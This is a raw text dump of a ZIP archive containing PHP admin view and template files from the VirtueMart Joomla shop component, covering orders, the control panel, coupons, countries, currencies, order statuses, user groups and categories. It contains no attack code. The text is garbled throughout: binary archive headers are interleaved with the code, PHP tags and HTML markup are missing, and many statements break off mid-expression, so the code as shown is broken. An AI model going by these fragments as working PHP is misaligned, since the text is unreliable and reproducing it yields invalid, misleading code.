$order['details']['BT']->virtuemart_order_number; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'registration' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStats = $this->get('OrderStatusList'); $_orderStatusList = array(); foreach ($_orderStats as $orderState) { $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } /*foreach($order['items'] as $_item) { if (!empty($_item->product_attribute)) { $_attribs = preg_split('/\s?\s?/i', $_item->product_attribute); $product = $productModel->getProduct($_item->virtuemart_product_id); $_productAttributes = array(); $_prodAttribs = explode(';', $product->attribute); foreach ($_prodAttribs as $_pAttr) { $_list = explode(',', $_pAttr); $_name = array_shift($_list); $_productAttributes[$_item->virtuemart_order_item_id][$_name] = array(); foreach ($_list as $_opt) { $_optObj = new stdClass(); $_optObj->option = $_opt; $_productAttributes[$_item->virtuemart_order_item_id][$_name][] = $_optObj; } } } }*/ //$_shipmentInfo = ShopFunctions::getShipmentRateDetails($orderbt->virtuemart_shipmentmethod_id); /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderNumber', $orderNumber); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); error_reporting(0); parent::display($tpl); } } PK@y>\1components/com_virtuemart/views/orders/index.htmlnuW+APK@y>\)0components/com_virtuemart/views/orders/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)/components/com_virtuemart/views/about/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,0components/com_virtuemart/views/about/index.htmlnuW+APK@y>\gk)3components/com_virtuemart/views/about/view.html.phpnuW+A\#o,,5components/com_virtuemart/views/about/tmpl/index.htmlnuW+APK@y>\)4components/com_virtuemart/views/about/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!wKK6components/com_virtuemart/views/about/tmpl/default.phpnuW+A\Qo o 8components/com_virtuemart/views/virtuemart/view.html.phpnuW+AgetTotalCustomers(); $this->assignRef('nbrCustomers', $nbrCustomers); $nbrActiveProducts = $model->getTotalActiveProducts(); $this->assignRef('nbrActiveProducts', $nbrActiveProducts); $nbrInActiveProducts = $model->getTotalInActiveProducts(); $this->assignRef('nbrInActiveProducts', $nbrInActiveProducts); $nbrFeaturedProducts = $model->getTotalFeaturedProducts(); $this->assignRef('nbrFeaturedProducts', $nbrFeaturedProducts); $ordersByStatus = $model->getTotalOrdersByStatus(); $this->assignRef('ordersByStatus', $ordersByStatus); $recentOrders = $model->getRecentOrders(); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons foreach ($recentOrders as $virtuemart_order_id => $order) { //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('v'.$order->virtuemart_vendor_id, $_currencies)) { $_currencies['v'.$order->virtuemart_vendor_id] = CurrencyDisplay::getInstance('',$order->virtuemart_vendor_id); } $order->order_total = $_currencies['v'.$order->virtuemart_vendor_id]->priceDisplay($order->order_total); } $this->assignRef('recentOrders', $recentOrders); $recentCustomers = $model->getRecentCustomers(); $this->assignRef('recentCustomers', $recentCustomers); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.'/helpers/shopfunctions.php'); $extensionsFeed = ShopFunctions::getExtensionsRssFeed(); $this->assignRef('extensionsFeed', $extensionsFeed); $virtuemartFeed = ShopFunctions::getVirtueMartRssFeed(); $this->assignRef('virtuemartFeed', $virtuemartFeed); // Options button. // if ( !JVM_VERSION===1) { // if (JFactory::getUser()->authorise('core.admin', 'com_virtuemart')) { // JToolBarHelper::preferences('com_virtuemart'); // } // } parent::display($tpl); } } //pure php no tagPK@y>\)4components/com_virtuemart/views/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,5components/com_virtuemart/views/virtuemart/index.htmlnuW+APK@y>\)9components/com_virtuemart/views/virtuemart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\2EJIIJcomponents/com_virtuemart/views/virtuemart/tmpl/default_statisticspage.phpnuW+A ordersByStatus ); $i < $n; $i++) { $row = $this->ordersByStatus[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&show='.$row->order_status_code); ?> order_count; } ?> recentOrders); $i < $n; $i++) { $row = $this->recentOrders[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$row->virtuemart_order_id); ?> recentCustomers); $i < $n; $i++) { $row = $this->recentCustomers[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=user&virtuemart_user_id='.$row->virtuemart_user_id); ?>
        nbrCustomers ?>
        nbrActiveProducts ?>
        : nbrInActiveProducts ?>
        nbrFeaturedProducts ?>
        order_status_name); ?> order_count; ?>
        :
        order_number; ?> order_total ?>
        first_name . ' ' . $row->last_name. ' (' . $row->order_number . ') '; ?>
        PK@y>\bb;components/com_virtuemart/views/virtuemart/tmpl/default.phpnuW+A 'COM_VIRTUEMART_CONTROL_PANEL', 'statisticspage'=> 'COM_VIRTUEMART_STATISTIC_STATISTICS' ) ); AdminUIHelper::endAdminArea (); PK@y>\#o,,:components/com_virtuemart/views/virtuemart/tmpl/index.htmlnuW+APK@y>\͚rnnHcomponents/com_virtuemart/views/virtuemart/tmpl/default_controlpanel.phpnuW+A
        canDo->get('core.admin') || $this->canDo->get('vm.product')) { ?>
        canDo->get('core.admin') || $this->canDo->get('vm.category')) { ?>
        canDo->get('core.admin') || $this->canDo->get('vm.orders')) { ?>
        canDo->get('core.admin') || $this->canDo->get('vm.paymentmethod')) { ?>
        canDo->get('core.admin') || $this->canDo->get('vm.user')) { ?>
        canDo->get('core.admin')) { ?>
        canDo->get('core.admin') || $this->canDo->get('vm.user.editshop')) { ?>
        virtuemartFeed) { ?>

          virtuemartFeed as $item) { if (!empty($item->link)) { $description=strip_tags($item->description); $description=substr($description, 0,200)."..."; ?>
        • title; ?>
        extensionsFeed ) { $j=0; foreach ($this->extensionsFeed as $item){ // This is directly related to extensions.virtuemart.net if (($j / 5) == 0) { ?>

        link)) { $description = $item->description; preg_match('/]+>/i',$description, $result); if (is_array($result) and isset($result[0])){ $image=$result[0]; $description=str_replace($image,"",$description); $description=strip_tags($description); $description=str_replace(JText::_ ('COM_VIRTUEMART_FEED_READMORE') ,"",$description); } else { $description=""; } ?>

        PK@y>\--Dcomponents/com_virtuemart/views/manufacturercategories/view.html.phpnuW+ASetViewTitle('MANUFACTURER_CATEGORY'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturerCategory = $model->getData(); $this->assignRef('manufacturerCategory', $manufacturerCategory); $this->addStandardEditViewCommands($manufacturerCategory->virtuemart_manufacturercategories_id); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $manufacturerCategories = $model->getManufacturerCategories(); $this->assignRef('manufacturerCategories', $manufacturerCategories); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\PG(: : Gcomponents/com_virtuemart/views/manufacturercategories/tmpl/default.phpnuW+A
        manufacturerCategories ); $i < $n; $i++) { $row = $this->manufacturerCategories[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturercategories_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturercategories&task=edit&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); $manufacturersList = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); ?>
        sort('virtuemart_manufacturercategories_id', 'COM_VIRTUEMART_ID') ?>
        mf_category_name; ?> mf_category_desc); ?> virtuemart_manufacturercategories_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\9~CCDcomponents/com_virtuemart/views/manufacturercategories/tmpl/edit.phpnuW+A
        langList; ?>
        manufacturerCategory->mf_category_name); ?> manufacturerCategory->published); ?> manufacturerCategory->mf_category_desc); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)Ecomponents/com_virtuemart/views/manufacturercategories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Fcomponents/com_virtuemart/views/manufacturercategories/tmpl/index.htmlnuW+APK@y>\Acomponents/com_virtuemart/views/manufacturercategories/index.htmlnuW+APK@y>\)@components/com_virtuemart/views/manufacturercategories/.htaccessnuW+A Order allow,deny Deny from all PK@y>\& 4components/com_virtuemart/views/coupon/view.html.phpnuW+AgetCoupon(); $this->SetViewTitle('', $coupon->coupon_code); $layoutName = JRequest::getWord('layout', 'default'); // if(Vmconfig::get('multix','none')!=='none'){ // $vendorList= ShopFunctions::renderVendorList($coupon->virtuemart_vendor_id); // $this->assignRef('vendorList', $vendorList); // } $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('Currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { if ($coupon->virtuemart_coupon_id < 1) { // Set a default expiration date $_expTime = explode(',', VmConfig::get('coupons_default_expire','14,D')); if (!empty( $_expTime[1]) && $_expTime[1] == 'W') { $_expTime[0] = $_expTime[0] * 7; $_expTime[1] = 'D'; } if (version_compare(PHP_VERSION, '5.3.0', '<')) { $_dtArray = getdate(time()); if ($_expTime[1] == 'D') { $_dtArray['mday'] += $_expTime[0]; } elseif ($_expTime[1] == 'M') { $_dtArray['mon'] += $_expTime[0]; } elseif ($_expTime[1] == 'Y') { $_dtArray['year'] += $_expTime[0]; } $coupon->coupon_expiry_date = mktime($_dtArray['hours'], $_dtArray['minutes'], $_dtArray['seconds'] , $_dtArray['mon'], $_dtArray['mday'], $_dtArray['year']); } else { $_expDate = new DateTime(); $_expDate->add(new DateInterval('P'.$_expTime[0].$_expTime[1])); $coupon->coupon_expiry_date = $_expDate->format("U"); } } $this->assignRef('coupon', $coupon); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $coupons = $model->getCoupons(); $this->assignRef('coupons', $coupons); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\1components/com_virtuemart/views/coupon/index.htmlnuW+APK@y>\M!==7components/com_virtuemart/views/coupon/tmpl/default.phpnuW+A
        coupons); $i < $n; $i++) { $row = $this->coupons[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_coupon_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=coupon&task=edit&cid[]=' . $row->virtuemart_coupon_id); ?>
        sort('virtuemart_coupon_id', 'COM_VIRTUEMART_ID') ?>
        coupon_code; ?> percent_or_total); ?> coupon_type); ?> coupon_value); ?> percent_or_total=='percent') echo '%' ; else echo $this->vendor_currency; ?> coupon_value_valid); ?> vendor_currency; ?> coupon_type=='gift'){ if ($row->coupon_used ) { echo JText::_('COM_VIRTUEMART_YES'); } else { echo JText::_('COM_VIRTUEMART_NO'); } } ?> virtuemart_coupon_id); ?>
        pagination->getListFooter(); ?>
        PK@y>\Xo o 4components/com_virtuemart/views/coupon/tmpl/edit.phpnuW+A
        coupon->coupon_code,'class="inputbox"','',20,32); ?> coupon->coupon_value,'class="inputbox"','',10,32); ?> coupon->percent_or_total); ?> coupon->coupon_type,'','value', 'text',false) ; ?> coupon->coupon_value_valid, 'class="inputbox"','',10,255,' ' . $this->vendor_currency ); ?> coupon->coupon_start_date , 'coupon_start_date') ); ?> coupon->coupon_expiry_date,'coupon_expiry_date') ); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\6components/com_virtuemart/views/coupon/tmpl/index.htmlnuW+APK@y>\)5components/com_virtuemart/views/coupon/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0components/com_virtuemart/views/coupon/.htaccessnuW+A Order allow,deny Deny from all PK@y>\2components/com_virtuemart/views/country/index.htmlnuW+APK@y>\5components/com_virtuemart/views/country/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $country = $model->getData(); $this->assignRef('country', $country); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList ); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(true,false); //First the view lists, it sets the state of the model $this->addStandardDefaultViewLists($model,0,'ASC'); $filter_country = JRequest::getWord('filter_country', false); $countries = $model->getCountries(false, false, $filter_country); $this->assignRef('countries', $countries); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\8components/com_virtuemart/views/country/tmpl/default.phpnuW+A
        */ ?> countries ); $i < $n; $i++) { $row = $this->countries[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_country_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=country&task=edit&cid[]=' . $row->virtuemart_country_id); $statelink = JROUTE::_('index.php?option=com_virtuemart&view=state&view=state&virtuemart_country_id=' . $row->virtuemart_country_id); ?> virtuemart_worldzone_id; ?> */ ?>
        sort('country_name') ?> sort('country_2_code') ?> sort('country_3_code') ?> sort('virtuemart_country_id') ?>
        country_3_code); ?> country_name ?>   hasKey($prefix.$row->country_3_code)) { echo "(".$country_string.") "; } ?> [] country_2_code; ?> country_3_code ; ?> virtuemart_country_id; ?>
        pagination->getListFooter(); ?>
        PK@y>\7components/com_virtuemart/views/country/tmpl/index.htmlnuW+APK@y>\)6components/com_virtuemart/views/country/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\` 5components/com_virtuemart/views/country/tmpl/edit.phpnuW+A
        hasKey($prefix.$this->country->country_3_code) ? ' (' . JText::_($prefix.$this->country->country_3_code) . ')' : ' '; ?> country->country_name, 'class="inputbox"', '', 50, 50, $country_string); ?> country->published); ?> */ ?> country->country_3_code); ?> country->country_2_code); ?>
        worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)1components/com_virtuemart/views/country/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)5components/com_virtuemart/views/orderstatus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\P 9components/com_virtuemart/views/orderstatus/tmpl/edit.phpnuW+A
        orderStatus->order_status_code, $this->lists['vmCoreStatusCode'])); $orderStatusCodeTip = ($editcoreStatus) ? 'COM_VIRTUEMART_ORDER_STATUS_CODE_CORE' : 'COM_VIRTUEMART_ORDER_STATUS_CODE_TIP'; if ($editcoreStatus) { $readonly = 'readonly'; } else { $readonly = ''; } ?> hasKey($this->orderStatus->order_status_name) ? ' (' . JText::_($this->orderStatus->order_status_name) . ')' : ' '; echo VmHTML::row('input', 'COM_VIRTUEMART_ORDER_STATUS_NAME', 'order_status_name', $this->orderStatus->order_status_name, 'class="inputbox"', '', 50, 50, $text); ?> stockHandelList ,$this->orderStatus->order_stock_handle,'','value', 'text',false) ; ?> orderStatus->order_status_code, 'class="inputbox '.$readonly.'" '.$readonly.'', '', 3, 1); ?> orderStatus->order_status_description, '100%;', '250', array('image', 'pagebreak', 'readmore')); ?> lists['vendors']); ?> ordering); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\):components/com_virtuemart/views/orderstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\;components/com_virtuemart/views/orderstatus/tmpl/index.htmlnuW+APK@y>\&9<components/com_virtuemart/views/orderstatus/tmpl/default.phpnuW+A
        lists['vmCoreStatusCode']; for ($i = 0, $n = count($this->orderStatusList); $i < $n; $i++) { $row = $this->orderStatusList[$i]; $published = JHTML::_('grid.published', $row, $i ); $checked = JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $coreStatus = (in_array($row->order_status_code, $this->lists['vmCoreStatusCode'])); $image = ((JVM_VERSION===1)) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_CORE')); $checked = ($coreStatus) ? ''. $image .'' : JHTML::_('grid.id', $i, $row->virtuemart_orderstate_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=edit&cid[]=' . $row->virtuemart_orderstate_id); $deletelink = JROUTE::_('index.php?option=com_virtuemart&view=orderstatus&task=remove&cid[]=' . $row->virtuemart_orderstate_id); $ordering = $row->ordering ; ?>
        sort('order_status_name') ?> sort('order_status_code') ?> sort('ordering') ?> orderStatusList ); ?> sort('virtuemart_orderstate_id', 'COM_VIRTUEMART_ID') ?>
        hasKey($row->order_status_name)) { echo ''. vmText::_($row->order_status_name) .' ('.$row->order_status_name.')'; } else { echo ''. $row->order_status_name .' '; } ?> order_status_code; ?> stockHandelList[$row->order_stock_handle]); ?> order_status_description); ?> pagination->orderUpIcon($i, true, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> pagination->orderDownIcon( $i, $n, true, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_orderstate_id; ?>
        addStandardHiddenToForm(); ?>
        PK@y>\8 9components/com_virtuemart/views/orderstatus/view.html.phpnuW+A 'COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE', 'R' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED', 'O' => 'COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT' ); if ($layoutName == 'edit') { $orderStatus = $model->getData(); $this->SetViewTitle('',JText::_($orderStatus->order_status_name) ); if ($orderStatus->virtuemart_orderstate_id < 1) { $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); } else { // Ordering dropdown $qry = 'SELECT ordering AS value, order_status_name AS text' . ' FROM #__virtuemart_orderstates' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $orderStatus, $orderStatus->virtuemart_orderstate_id, $qry); $this->assignRef('ordering', $ordering); } $lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $this->assignRef('stockHandelList', $stockHandelList); // Vendor selection $vendor_model = VmModel::getModel('vendor'); $vendor_list = $vendor_model->getVendors(); $lists['vendors'] = JHTML::_('select.genericlist', $vendor_list, 'virtuemart_vendor_id', '', 'virtuemart_vendor_id', 'vendor_name', $orderStatus->virtuemart_vendor_id); $this->assignRef('orderStatus', $orderStatus); $this->assignRef('lists', $lists); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(''); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $this->lists['vmCoreStatusCode'] = $model->getVMCoreStatusCode(); $orderStatusList = $model->getOrderStatusList(); $this->assignRef('orderStatusList', $orderStatusList); $this->assignRef('stockHandelList', $stockHandelList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } //No Closing Tag PK@y>\6components/com_virtuemart/views/orderstatus/index.htmlnuW+APK@y>\)2components/com_virtuemart/views/currency/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)7components/com_virtuemart/views/currency/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\8components/com_virtuemart/views/currency/tmpl/index.htmlnuW+APK@y>\6S9components/com_virtuemart/views/currency/tmpl/default.phpnuW+A
        lists['search']) ; ?>
        */?> */?> */ ?> currencies ); $i < $n; $i++) { $row = $this->currencies[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_currency_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=currency&task=edit&cid[]=' . $row->virtuemart_currency_id); ?> currency_code_2; ?> */ ?> shared; ?> */?>
        sort('currency_name','COM_VIRTUEMART_CURRENCY') ; ?> sort('currency_exchange_rate') ?> sort('currency_code_3') ?>
        currency_name; ?> currency_exchange_rate; ?> currency_symbol; ?> currency_code_3; ?> currency_numeric_code; ?>
        pagination->getListFooter(); ?>
        PK@y>\`N^ ^ 6components/com_virtuemart/views/currency/tmpl/edit.phpnuW+A
        currency->currency_name); ?> currency->published); ?> currency->currency_exchange_rate,'class="inputbox"','',6); ?> currency->currency_code_2,'class="inputbox"','',2,2); ?> currency->currency_code_3,'class="inputbox"','',3,3); ?> currency->currency_numeric_code,'class="inputbox"','',3,3); ?> currency->currency_symbol,'class="inputbox"','',20,20); ?> currency->currency_decimal_place,'class="inputbox"','',20,20); ?> currency->currency_decimal_symbol,'class="inputbox"','',10,10); ?> currency->currency_thousands,'class="inputbox"','',10,10); ?> currency->currency_positive_style,'class="inputbox"','',50,50); ?> currency->currency_negative_style,'class="inputbox"','',50,50); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\3components/com_virtuemart/views/currency/index.htmlnuW+APK@y>\^z6components/com_virtuemart/views/currency/view.html.phpnuW+AsetId($cid); $currency = $model->getCurrency(); $this->SetViewTitle('',$currency->currency_name); $this->assignRef('currency', $currency); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,0,'ASC'); $currencies = $model->getCurrenciesList(JRequest::getWord('search', false)); $this->assignRef('currencies', $currencies); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\O=)ff8components/com_virtuemart/views/usergroups/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $usergroup = $model->getUsergroup(); $this->assignRef('usergroup', $usergroup); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $ugroups = $model->getUsergroups(false,true); $this->assignRef('usergroups', $ugroups); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PK@y>\)4components/com_virtuemart/views/usergroups/.htaccessnuW+A Order allow,deny Deny from all PK@y>\check( 'admin' )){ ?>
        usergroups ); $i < $n; $i++) { $row = $this->usergroups[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shoppergroup_id); // $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=usergroups&task=edit&cid[]=' . $row->virtuemart_shoppergroup_id); ?> ">
        virtuemart_shoppergroup_id; ?> group_name; ?> group_level); ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\)9components/com_virtuemart/views/usergroups/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}{8components/com_virtuemart/views/usergroups/tmpl/edit.phpnuW+A
        addStandardHiddenToForm(); ?>
        PK@y>\:components/com_virtuemart/views/usergroups/tmpl/index.htmlnuW+APK@y>\5components/com_virtuemart/views/usergroups/index.htmlnuW+APK@y>\"6components/com_virtuemart/views/category/view.html.phpnuW+AgetLayout(); $task = JRequest::getWord('task',$layoutName); $this->assignRef('task', $task); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $perms = Permissions::getInstance(); $this->assignRef('perms', $perms); if ($layoutName == 'edit') { $category = $model->getCategory('',false); // Toolbar $text=''; if (isset($category->category_name)) $name = $category->category_name; else $name =''; if(!empty($category->virtuemart_category_id)){ $text = ''. $name.''; } $this->SetViewTitle('CATEGORY',$text); $model->addImages($category); if ( $category->virtuemart_category_id > 1 ) { $relationInfo = $model->getRelationInfo( $category->virtuemart_category_id ); $this->assignRef('relationInfo', $relationInfo); } $parent = $model->getParentCategory( $category->virtuemart_category_id ); $this->assignRef('parent', $parent); if(!class_exists('ShopFunctions'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); if(!class_exists('VirtueMartModelConfig'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $categoryLayoutList = VirtueMartModelConfig::getLayoutList('category'); $this->assignRef('categoryLayouts', $categoryLayoutList); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); //Nice fix by Joe, the 4. param prevents setting an category itself as child $categorylist = ShopFunctions::categoryListTree(array($parent->virtuemart_category_id), 0, 0, (array) $category->virtuemart_category_id); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($category->virtuemart_vendor_id,false); $this->assignRef('vendorList', $vendorList); } $this->assignRef('category', $category); $this->assignRef('categorylist', $categorylist); $this->addStandardEditViewCommands($category->virtuemart_category_id,$category); } else { $this->SetViewTitle('CATEGORY_S'); $keyWord =''; $this->assignRef('catmodel', $model); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'category_name'); $categories = $model->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $pagination = $model->getPagination(); $this->assignRef('catpagination', $pagination); //we need a function of the FE shopfunctions helper to cut the category descriptions jimport('joomla.filter.output'); } parent::display($tpl); } } // pure php no closing tag PK@y>\)2components/com_virtuemart/views/category/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3components/com_virtuemart/views/category/index.htmlnuW+APK@y>\hc\ii6components/com_virtuemart/views/category/tmpl/edit.phpnuW+A
        'COM_VIRTUEMART_CATEGORY_FORM_LBL', 'images' => 'COM_VIRTUEMART_IMAGES' ),$this->category->virtuemart_category_id ); ?> addStandardHiddenToForm(); ?>
        PK@y>\ b=components/com_virtuemart/views/category/tmpl/edit_images.phpnuW+A
        category->images[0]->displayFilesHandler($this->category->virtuemart_media_id); if(empty($this->category->images[0]->virtuemart_media_id)) $this->category->images[0]->addHidden('file_is_category_image','1'); if ($this->category->virtuemart_media_id) echo $this->category->images[0]->displayFilesHandler($this->category->virtuemart_media_id,'category'); else echo $this->category->images[0]->displayFilesHandler(null,'category'); ?>
        PK@y>\)7components/com_virtuemart/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5⺝ZZ9components/com_virtuemart/views/category/tmpl/default.phpnuW+A
        check('admin') ){ ?> categories ); if( $this->catpagination->limit < $nrows ){ if( ($this->catpagination->limitstart + $this->catpagination->limit) < $nrows ) { $nrows = $this->catpagination->limitstart + $this->catpagination->limit; } } // for ($i = $this->pagination->limitstart; $i < $nrows; $i++) { foreach($this->categories as $i=>$cat){ // if( !isset($this->rowList[$i])) $this->rowList[$i] = $i; // if( !isset($this->depthList[$i])) $this->depthList[$i] = 0; // $row = $this->categories[$this->rowList[$i]]; $checked = JHTML::_('grid.id', $i, $cat->virtuemart_category_id); $published = JHTML::_('grid.published', $cat, $i); $editlink = JRoute::_('index.php?option=com_virtuemart&view=category&task=edit&cid=' . $cat->virtuemart_category_id, FALSE); // $statelink = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $cat->virtuemart_category_id); $showProductsLink = JRoute::_('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $cat->virtuemart_category_id, FALSE); $shared = $this->toggle($cat->shared, $i, 'toggle.shared'); $categoryLevel = ''; if(!isset($cat->level)){ if($cat->category_parent_id){ $cat->level = 1; } else { $cat->level = 0; } } $repeat = $cat->level; if($repeat > 1){ $categoryLevel = str_repeat(".   ", $repeat - 1); $categoryLevel .= "|_ "; } ?> ">
        sort('category_name') ?> sort('category_description', 'COM_VIRTUEMART_DESCRIPTION') ; ?> sort( 'c.ordering' , 'COM_VIRTUEMART_ORDERING') ?> categories, 'filesave.png', 'saveOrder' ); ?> sort('c.published' , 'COM_VIRTUEMART_PUBLISHED') ?> sort( 'cx.category_shared' , 'COM_VIRTUEMART_SHARED') ?> sort('virtuemart_category_id', 'COM_VIRTUEMART_ID') ?>
        escape($cat->category_name);?> category_description),200); ?> catmodel->countProducts($cat->virtuemart_category_id);//ShopFunctions::countProductsByCategory($row->virtuemart_category_id);?>  [ ] category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i - 1]->category_parent_id)); $cond2= ($cat->category_parent_id == 0 || $cat->category_parent_id == @$this->categories[$i + 1]->category_parent_id); echo $this->catpagination->orderUpIcon( $i, $cond, 'orderUp', JText::_('COM_VIRTUEMART_MOVE_UP')); ?> catpagination->orderDownIcon( $i, $nrows, $cond2, 'orderDown', JText::_('COM_VIRTUEMART_MOVE_DOWN')); ?> virtuemart_category_id; // echo $product->vendor_name; ?>
        catpagination->getListFooter(); ?>
        _name); echo $this->addStandardHiddenToForm($this->_name,$this->task); ?>
